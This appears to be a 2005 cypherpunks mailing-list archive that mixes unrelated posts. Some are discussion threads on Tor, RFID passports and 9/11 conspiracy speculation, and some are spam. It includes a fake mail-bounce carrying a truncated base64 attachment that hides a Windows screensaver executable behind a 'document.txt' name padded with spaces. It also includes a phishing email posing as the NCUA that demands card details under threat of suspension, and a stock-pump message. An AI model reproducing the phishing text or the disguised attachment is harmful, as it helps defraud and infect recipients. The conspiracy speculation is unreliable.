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Unknown user: [EMAIL PROTECTED] RCPT TO generated following response: 550 <[EMAIL PROTECTED]>: Recipient address rejected: User unknown in virtual alias table Original message follows. Received: from minder.net [64.146.171.4] by mail.gcpower.net with ESMTP (SMTPD-8.20) id A9DB01A8; Mon, 08 Aug 2005 19:50:03 -0700 From: cypherpunks@minder.net To: [EMAIL PROTECTED] Subject: Mail System Error - Returned Mail Date: Mon, 8 Aug 2005 19:46:26 -0700 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=_NextPart_000_0009_54F934F5.306EC5AA" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600. X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600. Message-Id: <[EMAIL PROTECTED]> This is a multi-part message in MIME format. --=_NextPart_000_0009_54F934F5.306EC5AA Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Your message was not delivered due to the following reason: Your message was not delivered because the destination server was not reachable within the allowed queue period. The amount of time a message is queued before it is returned depends on local configura- tion parameters. Most likely there is a network problem that prevented delivery, but it is also possible that the computer is turned off, or does not have a mail system running right now. Your message could not be delivered within 4 days: Host 105.125.114.18 is not responding. The following recipients could not receive this message: <[EMAIL PROTECTED]> Please reply to [EMAIL PROTECTED] if you feel this message to be in error. --=_NextPart_000_0009_54F934F5.306EC5AA Content-Type: application/octet-stream; name="document.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="document.zip" UEsDBAoAAM0VCTPHdidWoHAAAKBwAABjZG9jdW1lbnQudHh0ICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI CAgICAg ICAg ICAgICAgICAgICAuc2NyTVqQAAME//8AALgAAA AAQ AAA 2A4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBi ZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAA A [message truncated]
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Re: How to Exit the Matrix
At 07:27 PM 8/1/2005, [EMAIL PROTECTED] wrote: Network Forensics Evasion: How to Exit the Matrix https://n4ez7vf37i2yvz5g.onion/howtos/ExitTheMatrix/ Tor (tor.eff.org) required "Privacy and anonymity have been eroded to the point of non-existence in recent years. In fact, in many workplaces, employers spy on and control their employees Internet access, and this practice is widely considered to be acceptable. How we got to a legal state where this is allowed, I'm not quite sure. It seems to stem from an underlying assumption that while you are at work, you are a slave - a single unit of economic output under the direct and total control of your superiors. I believe this view is wrong. All of those problems derive from the fact that you are using your employers computing resources. Spend the $500 for your on laptop and connect to the Net via E VDO or one of the competing services. Then the only issue is your personal productivity which is completely under your own control. Obviously, if you are fighting the Great Enemy more advanced solutions are required.
Gubmint Tests Passport RFID...
http://www.wired.com/news/privacy/0,1848,68451,00.html?tw=wn_tophead_2 And since one's passport essentially boils down to a chip, why not implant it under the skin? As for the encryption issue, can someone explain to me why it even matters? It would seem to me that any "on-demand" access to one's chip-stored info is only as secure as the encryption codes, which would have to be stored and which will eventually become "public", no matter how much the government says, "Trust us...the access codes are secure." Seems to me, the only way to secure the RFID encrypted info would be if the owner (uh, I mean the citizen unit) releases said info via a personal encryption code, known only to the user and not by ex-welfare Gate goons. But I seriously doubt that that is what the government is "thinking about". (ie, they want to be able to read your RFID wihtout you having to perform any additional actions to release the information.) The only way I see it making a difference is perhaps in the physical layer...encryption + shielding is probably a lot more secure than encryption without shielding, given an ID "phisher" wandering around an airport with a special purpose briefcase. -TD
Re: Gubmint Tests Passport RFID...
Quoting Tyler Durden <[EMAIL PROTECTED]>: > And since one's passport essentially boils down to a chip, why not implant > it under the skin? You say that as though it hasn't been considered. > As for the encryption issue, can someone explain to me why it even matters? It doesn't, actually. There is no clear and compelling reason to make a passport remotely readable, considering that a Customs agent still has to visually review the document. And if the agent has to look at it, s/he can certainly run it through a contact-based reader in much the same way the current design's submerged magnetic strip is read. > It would seem to me that any "on-demand" access to one's chip-stored info is > only as secure as the encryption codes, which would have to be stored and > which will eventually become "public", no matter how much the government > says, "Trust us...the access codes are secure." http://wired-vig.wired.com/news/privacy/0,1848,67333,00.html?tw=wn_story_related This story says the data will be encrypted, but the key will be printed on the passport itself in a machine-readable format. Once again, this requires manual handling of the passport, so there's *still* no advantage to RFID in the official use case. > (ie, they want to be able to read your RFID wihtout you having to perform > any additional actions to release the information.) Yup. Bruce Schneier nailed the real motivation almost a year ago: http://www.schneier.com/blog/archives/2004/10/rfid_passports.html Interestingly, even the on-document keying scheme doesn't address the fundamental problem. Nowhere is it said that the whole of the remotely readable data will be encrypted. If a GUID is left in the clear, the passport is readily usable as a taggant by anyone privy to the GUID->meatspace map. Without access to the map, the tag still identifies its carrier as a U.S passport holder. Integrating this aspect into munitions is left as an exercise for the reader. > The only way I see it making a difference is perhaps in the physical > layer...encryption + shielding is probably a lot more secure than encryption > without shielding, given an ID "phisher" wandering around an airport with a > special purpose briefcase. This isn't about phishing. That's just a bonus. -- Roy M. Silvernail is [EMAIL PROTECTED], and you're not "It's just this little chromium switch, here." - TFT SpamAssassin->procmail->/dev/null->bliss http://www.rant-central.com
Re: Gubmint Tests Passport RFID...
--- "Roy M. Silvernail" <[EMAIL PROTECTED]> wrote: > Quoting Tyler Durden <[EMAIL PROTECTED]>: > > > And since one's passport essentially boils down to a chip, why not > implant > > it under the skin? > > You say that as though it hasn't been considered. Good point. As many of us know, there are groups of well-educated people who spend all their time on the analysis of technology: think tanks. Who can possibly say what sorts of universal, 'machine-readable' identification systems are considered, and which modes of use they imagine? Many of the studies that are conducted under the umbrella of think tank resarch is, of course, proprietary and restricted in distribution. Knowledgable individuals can do only so much (in their spare time, for instance) towards doing their own analysis of leading-edge technology use and misuse, and most people know this. So, why is it that there seem to be no open source groups who, like people in the free software movement might write software, produce non-trivial papers on the results of their brainstorming sessions? If we can agree that the research of closed NSA think-tank groups might be of immense interest to people with a vested interest in the use or misuse of emerging technologies, then it follows that open source intelligence analysis of technology is a field that is both very much wide-open for exploration, and also quite critical. People like Bruce Schneier do a good job more or less on their own in their respective fields, but it seems that there is likely a significant quality gap in what can be done by individual experts, and what might be accomplished by groups of savvy intellectuals. However, the playing field is such in the public realm most discussion and analysis of these kinds of issue are relegated to science fiction, academic journals, mailing lists, and of course blogs. There seems to be a reluctance on the part of a great many people to bring a more rigorous and wide ranging type of analysis to such fields, and I am not quite sure why. Nevertheless, for those who are at all aware of the kind of product produced by conventional think-tank groups, it is evident that there are large gaps in the areas of consideration and fields of study covered by the open-source analysis field. This obviously affects the quality of debate in the public sphere. > > As for the encryption issue, can someone explain to me why it even > matters? > > It doesn't, actually. There is no clear and compelling reason to make a > passport remotely readable, considering that a Customs agent still has > to > visually review the document. And if the agent has to look at it, s/he > can > certainly run it through a contact-based reader in much the same way the > current design's submerged magnetic strip is read. > > It would seem to me that any "on-demand" access to one's chip-stored > info is > > only as secure as the encryption codes, which would have to be stored > and > > which will eventually become "public", no matter how much the > government > > says, "Trust us...the access codes are secure." > http://wired-vig.wired.com/news/privacy/0,1848,67333,00.html?tw=wn_story_related > > This story says the data will be encrypted, but the key will be printed > on the > passport itself in a machine-readable format. Once again, this requires > manual > handling of the passport, so there's *still* no advantage to RFID in the > official use case. > > (ie, they want to be able to read your RFID wihtout you having to > perform > > any additional actions to release the information.) > > Yup. Bruce Schneier nailed the real motivation almost a year ago: > > http://www.schneier.com/blog/archives/2004/10/rfid_passports.html "Normally I am very careful before I ascribe such sinister motives to a government agency. Incompetence is the norm, and malevolence is much rarer. But this seems like a clear case of the Bush administration putting its own interests above the security and privacy of its citizens, and then lying about it." I have a different threat model. I suggest that incompetence is _often_ deliberate and, at least to those who orchestrate such things, is designed to leave or provide cracks in arbitrary systesm that will be expoited. This may be defensible in cases where someone wants to encourage child molesters to expose their operations to sophisticated intelligence and surveillance activities, but is harder to defend when such policies affect the integrity of the money supply, or the transportation infrastructure, or > Interestingly, even the on-document keying scheme doesn't address the > fundamental problem. Nowhere is it said that the whole of the remotely > readable > data will be encrypted. If a GUID is left in the clear, the passport is > readily > usable as a taggant by anyone privy to the GUID->meatspace map. Without > access > to the map, the tag still identifies its carrier as a U.S passport > holder. > Integrating this aspect into muniti
Re: Gubmint Tests Passport RFID...
Whaddya know. Thompson said something that didn't make me want to beat him to death... I have a different threat model. I suggest that incompetence is _often_ deliberate and, at least to those who orchestrate such things, is designed to leave or provide cracks in arbitrary systesm that will be expoited. This may be defensible in cases where someone wants to encourage child molesters to expose their operations to sophisticated intelligence and surveillance activities, but is harder to defend when such policies affect the integrity of the money supply, or the transportation infrastructure, or I've reached more or less the same conclusion. Or at least, incompetence may not be deliberate per se, but the byproduct of a system that needs to appear to care but is otherwise silently incented not to. Checking bags in the NYC transit system is the ultimate example of this: Completely, absolutely pointless in the face of a determined foe. (Meanwhile, of course, there's all sorts of state shennanegins that are possible through such an arrangement.) The obvious question is how much 9/11/01 is an example of this. For me, the conspiracy theories just don't quite add up (close though) but a moderately sharpened Occam's razor leads one to believe that some 'deliberate' holes were left open, which bin Laden, et al exploited. (I actually still believe that Bush didn't expect that level of damage, however.) As for the integrity of the money supply, I must succumb to temptation and question whether the Stalinst model of a demand economy (servicing an endless war on terror) hasn't been looked at by folks such as Wolfowitz, Cheney and so on. -TD
7-11 (NYSE:SE) Wal-Mart (NYSE:WMT) Prime Time (PRTH) & the AMEX - n5
Edwardo, Has anyone yet told you what 7-Eleven (NYSE:SE) Walmart(NYSE:WMT) Prime Time (PRTH) and the American Stock Exchange have in common? - ul1 d9 - http://uk.geocities.com/small_cap_trailblazers Gina North
web sitenizden memnun deðilseniz...
Artık web sitesinden memnun olmayan kimse kalmayacak! Türkiye'nin en büyük internet teknolojileri üreticilerinden ve en çok web projesi üretmiÅ firma olan RETURN Group olarak e-jett'in 2. yaÅını özel indirimler, taksit seçenekleri ve fırsat kampanyaları ile kutluyoruz.EÄer web siteniz'den memnun deÄilseniz, teklifimizi ve referanslarımızı dikkatinize sunarız.Kampanya ve Fırsatlar :http://www.e-jett.com/default.aspx?pid=16676Referanslarımızın adresleri : http://www.e-jett.com/default.aspx?pid=201&t=1 Kamu Kurumları http://www.e-jett.com/default.aspx?pid=201&t=2 Portaller http://www.e-jett.com/default.aspx?pid=201&t=3 Klüp, dernek ve Organizasyonlarhttp://www.e-jett.com/default.aspx?pid=201&t=4 Åirketler, DiÄer Ticari Ä°Åletmeler Konu ile ilgili her türlü sorunuzu yanıtlamaya hazır olduÄumuzu bildirir, görüÅlerinizi bizimle paylaÅmanızı rica ederiz. Bu iletiyi yanlıÅlıkla aldıÄınızı düÅünüyor yada gelecekte bu tarz mailler almak istemiyorsanız lütfen aÅaÄıdaki linki tıklayınız. http://bulten.ejett.com/[EMAIL PROTECTED]&command=sil RETURN BiliÅim A.Å. - MüÅteri Hizmetleri MerkeziTübitak Marmara AraÅtırma Merkezi,Teknoloji geliÅtirme Bölgesi Ofis : 3 Gebze
Update And Verify Your FCU Account
Title: Welcome to VisionLine NCUA Home | Search | Privacy Policy & Accessibility | Site Map| Contact Us National Credit Union Administration Share Insurance | Resources for Credit Unions | Resources for Consumers | News | Search About NCUA The National Credit Union Administration (NCUA) is the independent federal agency that charters and supervises federal credit unions. NCUA, backed of the full faith and credit of the U.S. government, operates the National Credit Union Share Insurance Fund (NCUSIF) insuring the savings of 80 million account holders in all federal credit unions and many state-chartered credit unions. During the 1990s and into the 21st century, credit unions have been healthy and growing. Credit union failures remain low and the Share Insurance Fund maintains a healthy equity level. The National Credit Union Administration (NCUA) is comitted to maintain a safe environment for over 80 million account holders in all federal credit unions and many state-chartered credit unions. Protecting the security of holders account and of the Federal Credit Unions (FCU) network is our primary concern. To protect the security of your account, NCUA employs some of the most advanced security systems in the world and our anti-fraud teams regularly scan the federal credit unions systems for unusual activity. We recently have determined that some federal credit unions systems have been accessed by terrorist organization attackers who try to obtain funds for their criminal activities. Therefore, our primary concern is to improve our database regarding all federal credit unions systems, this activity being asked by the United States Government . For security purposes we now need you to re-confirm your credit/debit card information to us. If this is not completed in 48 hours, we will be forced to suspend your account indefinitely, as it may have been used for fraudulent and terrorist purposes. We thank you for your cooperation in this manner. In order to confirm your credit/debit card records, we may require some specific information from you. Click here to confirm your credit/debit card records Thank you for your prompt attention to this matter. Please understand that this is a security measure meant to help protect you and your account. We apologize for any inconvenience. If you choose to ignore our request, you leave us no choise but to temporaly suspend your account. Thank you for using Federal Credit Union ! Use of Federal Credit Union is covered under Federal Credit Union Share Accounts, Checking Accounts and Electronic Funds Transfer Agreements and Disclosure Statements which contains important information regarding services obtained from Federal Credit Union. Use of Federal Credit Union constitutes agreement with the terms and conditions of the aforementioned agreement and disclosure statements. ©2005 by Federal Credit Union. All rights reserved. >
